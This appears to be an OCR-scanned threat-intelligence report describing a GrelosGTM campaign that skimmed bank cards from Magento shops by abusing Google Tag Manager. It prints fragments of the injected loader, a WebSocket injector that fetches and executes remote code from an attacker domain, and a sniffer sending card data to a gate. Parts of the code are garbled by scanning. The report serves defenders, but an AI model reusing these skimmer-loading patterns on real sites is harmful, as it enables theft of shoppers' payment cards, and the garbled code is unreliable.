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Analysis of campaign

Group-IB analysts for the first time detected activities of a cybercriminal group that was
subsequently dubbed GrelosGTM by our Threat Intelligence team in early April 2020, but the
earliest sample associated with this group dates back to January 2020. Since the beginning
of their attacks the group had two distinctive features: they preferred to use multi-stage
JavaScript malware and files without extension or with .css extension for storing code of
their JavaScript sniffers.
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In their first attacks on e-commerce websites, this group used domains, which impersonated
legitimate services like Google Analytics and Google Tag Manager. One year later, in April
2021, Group-IB specialists detected that apart from using domains mimicking the services,
GrelosGTM group started to abuse Google Tag Manager legitimate functionality for their own
purposes in infections of online shops.

Analysis of attacks

This specific campaign started in February 2021 and affected at least seven websites
running CMS Magento in Belgium, Italy, the United Kingdom, and the United States. At the
time of the publication, the JS sniffer has been active on at least four websites. Group-1B
Computer Emergency Response Team (CERT-GIB) has informed all the websites infected of
the incident.

For the initial stage of infection GrelosGTM group injected their own Google Tag Manager
scripts to the source code of targeted websites. In most cases attackers used a direct link to
the script located on legitimate googletagmanager.com domain, but in some infections they
used an injector as shown on Figure 1.

>(function(w,d,t,r,u){var f,n,i;wlul=wlul | |[]1, f=function(){var o-{ti:"11030776"};0.q-wlul,wl
ul UET(0) ,wlul.push("pageLoad")}, n-d.createElement(t),n.src-r,n.async-1,n.onload-n.
onreadystatechange=function(){var s=this.readyState;sits!=="1oaded"&&s!=="complete" ||(f(),n.
onload-n.onreadystatechange=null)}, i=d.getElementsByTagName(t) [@], i.parentNode. insertBefore(n,i)}
) (window,document,"script","//bat.bing.com/bat.js", " "uetq"); (function(w,d,s, L, i1){wlll=wll] | | [1;w[l

l.push({'gtm.start":

Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),d1=1!="datalLayer'?'&1l="+1:"'";j.async=true;j.src
'https://www.googletagmanager.com/gtm. js2id="rirdl;FoparentNode. insertBefore(j, f);

}) (window, document, 'script', 'dataLayer', 'GTM-55F293]"' | ; </ > < async src="
https://apps.bazaarvoice.com/deployments/coob/main_site/production/en_US/bv.js"></ >

Figure 1. Example of the injected code: Google Tag Manager script "GTM-5SF293J" was
created by hackers

This Google Tag Manager script (Figure 2) contains malicious inject, which loads the next
stage script from the attacker's website by URL hXXs://webfaset[.Jcom/str.css.
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// Copyright 2012 Google Inc. All rights reserved.
(function(){

var data = {
“resource”: {
"wersion":"22",

"macros”:[{
“function":"__ e"
It
"function":" u™,

"wtp_component™: "URL",

"vip_enableMultiQuerykeys":false,

"vtp_enableIgnoreEmptyQueryParam”:false
I

“"function":"__u",

"wip_component”: "HOST",

"wtp_enableMultiQueryKeys":false,

"wip_enableIgnoreEmptyQueryParam”:false
b

“function™:"__u",

"wtp_component”: "PATH",

"vip_enableMultiQuerykeys":false,

"wtp_enableIgnoreEmptyQueryParam”:false

I
"function":"__ ",
"wip_component™: "URL"
b
“function":"__ e"
L
tags":[{
"function":"__html",

"metadata”:["map"],
Ui MIL .LILE,

"wtp_html™:"\uge3cCscript async=\"\" data-gtmsrc=\"\/\/webfaset.com\/str.css\" type=\"text\/gtmscript\"\ueB3E\UBO3C\/script\ueesE”,

F——"FF
"vip_enableIframeMode”:false,
"wtp_enableEditIsMacroBehavior”:false,
“tag_id":13

1.

"predicates™:[{
"function":"_eq"”,
“arg@":["macro”,8],
“argl":"gtm.js"

i1
"rules":[
[["if",e],["add",0]]]
Fs
“runtime":[]

T

Figure 2: Google Tag Manager script with a malicious inject

Injected script is responsible for detecting the checkout page using regular expression and
for downloading the main payload of JS sniffer using WebSocket from URL
wss://webfaset[.]Jcom:80/bootstrap.min.css (Figure 3).

"location™]))
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- ["call" ] (this);

self. WebSocket("wss:/lwebfaset.com:80/bootstrap.min.css"”);socans.onmessage=functi
on(a){ new self.Function(a.data).call(this)};

Figure 3: Fragment of the source code of WebSocket-based injector

The final payload is a heavily obfuscated JavaScript sniffer designed for collecting shoppers'
bank card information during checkout using a fake payment form. All collected cards will be
sent to attackers' server via gate hXXs://webfaset[.]Jcom/media/logo.img.

4/6



10 setInterval{_ S4Lox2$['xG'],

1), '[11,

country_id', [[1],

2b1) + a® d e

https:/iwebfaset.com/mediallogo.img

BcHMBLYI3ZWImYXNL ' 'dC5jb20vbW' 'VkaWEvbGIn' 'bySpbhc="

Pl
Iy

SALox2$[ "xSTdsj ' 1();

var ridm '#checkout-payment-method-load>div>div>div.payment-method. active>div.payment-method-content>div.checkout-agreements-block';

Figure 4: Fragment of source code of JavaScript sniffer used by GrelosGTM group

Below you can find both MITRE ATT&CK mapping and corresponding mitigations list.

Attacks by GrelosGTM group
MITRE ATTaCK and MITRE Shield
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Lear more about Group-IB's Threat Intelligence & Attribution, Fraud Hunting_Platform, and
Security Assessment service on our website.
Indicators of compromise
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Share

Receive insights on the latest cybercrime trends

6/6



